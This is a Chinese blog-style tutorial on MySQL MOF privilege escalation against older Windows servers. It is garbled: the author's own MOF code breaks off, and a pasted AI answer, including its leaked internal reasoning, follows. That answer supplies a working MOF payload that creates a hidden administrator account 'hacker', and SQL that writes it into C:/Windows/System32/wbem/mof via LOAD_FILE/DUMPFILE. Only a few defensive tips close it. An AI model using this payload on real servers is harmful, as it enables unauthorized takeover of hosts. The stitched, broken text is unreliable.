Mysql——mof提权

mof提权
原理

在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将想要的操作通过代码存储到这个mof文件中,就可以实现权限提升
 

利用条件
  1. 仅限windows 及适用于windows server2003及以下的版本
  2. mysql用户具有root权限(对上面那个目录可写)
  3. 关闭了secure-file-priv
     
利用方式

拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权

使用sql语句,通过mysql的dumpfile操作将恶意mof文件拷贝到服务器的c:/windows/system32/wbem/mof/目录下,将系统当中默认的nullevt.mof给替换掉,进而让系统执行我们这个恶意的mof文件

select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

mof提权代码
nullevt.mof

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
 
<think>嗯,用户想了解如何通过MySQL MOF进行操作。我需要先回忆一下相关的知识,然后结合供的引用内容来组织回答。 首先,MOF是什么?我记得MOF文件是Windows管理规范的一部分,用于系统管理。当系统处理特定的MOF文件时,可能执行其中的代码。MySQLMOF应该是利用MySQL的写入限,将恶意MOF文件放到系统目录,触发执行,从而获取系统限。 根据引用内容,步骤大概包括上传MOF脚本到可写目录,然后通过MySQL执行命令将其复制到系统目录。例如,引用[1]到上传脚本后使用MySQL项执行命令。引用[3]中的SQL语句是使用`load_file`和`dumpfile`将文件写入到`wbem/mof`目录,这应该是关键步骤。 需要注意的要点是:MySQL需要有写限到系统目录,尤其是`C:/Windows/System32/wbem/mof/`,这个目录需要存在,并且MySQL服务账户有限写入。另外,MOF文件的内容需要包含恶意代码,比如添加管理员用户或执行命令。 可能的问题包括目录不存在、限不足、MySQL版本差异等。例如,引用[2]MySQL版本不同,UDF需要不同的路径,但这里MOF可能不需要UDF,不过需要注意目标系统是否允许MOF执行。 还要考虑防御措施,比如限制MySQL账户限,监控系统目录的写入等。用户可能想知道如何防范这种攻击,所以回答中应该包含防御建议。 现在需要将这些点整理成步骤,并确保引用正确的来源。同时,根据用户供的引用,引用[1]、[3]直接涉及MOF步骤,而引用[2]是关于UDF的,可能不需要在这里详细讨论,但可以作为对比及。 可能还需要解释MOF文件执行机制,为什么写入到那个目录就能,以及实际利用中的限制条件,比如需要MySQL的FILE限,secure_file_priv设置等。 最后,生成相关问题,比如如何防御、与其他方法的区别、失败原因分析等。</think>### MySQL MOF 方法及实现方式 #### 原理说明 MOF(Managed Object Format)是Windows系统管理工具WMI(Windows Management Instrumentation)的脚本文件,默认路径为`C:/Windows/System32/wbem/mof/`。系统会定期编译该目录下的MOF文件并执行其中的代码[^3]。通过MySQL的`SELECT ... INTO DUMPFILE`命令,可将恶意MOF文件写入该目录,触发系统执行命令。 --- #### 实现步骤 1. **前条件** - MySQL需具备`FILE`限且`secure_file_priv`设置为空或允许写入系统目录[^1]。 - MySQL服务账户(通常为`SYSTEM`或管理员)需有限写入`C:/Windows/System32/wbem/mof/`。 2. **编写恶意MOF文件** 创建一个`.mof`文件(如`admin.mof`),内容示例为添加管理员用户: ```cpp #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "TestFilter"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $Consumer { Name = "TestConsumer"; CommandLineTemplate = "net user hacker Password123 /add && net localgroup administrators hacker /add"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ``` 3. **上传MOF文件** 将`admin.mof`上传到MySQL可读写的目录(如`C:/admin.mof`),需通过Web漏洞或文件上传漏洞实现[^1]。 4. **通过MySQL写入系统目录** 执行以下SQL命令,将文件复制到目标路径: ```sql SELECT LOAD_FILE('C:/admin.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/admin.mof'; ``` 写入成功后,系统会在约1分钟内自动执行MOF文件中的命令。 --- #### 关键限制与风险 1. **路径限问题** 若MySQL服务账户无写入`wbem/mof`目录,操作会失败[^1]。 2. **MOF文件覆盖问题** 系统会定期清理MOF日志,若重复写入同名文件可能触发异常[^3]。 3. **防御措施** - 限制MySQL账户的`FILE`限。 - 设置`secure_file_priv`为受限路径。 - 监控`wbem/mof`目录的文件变化。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值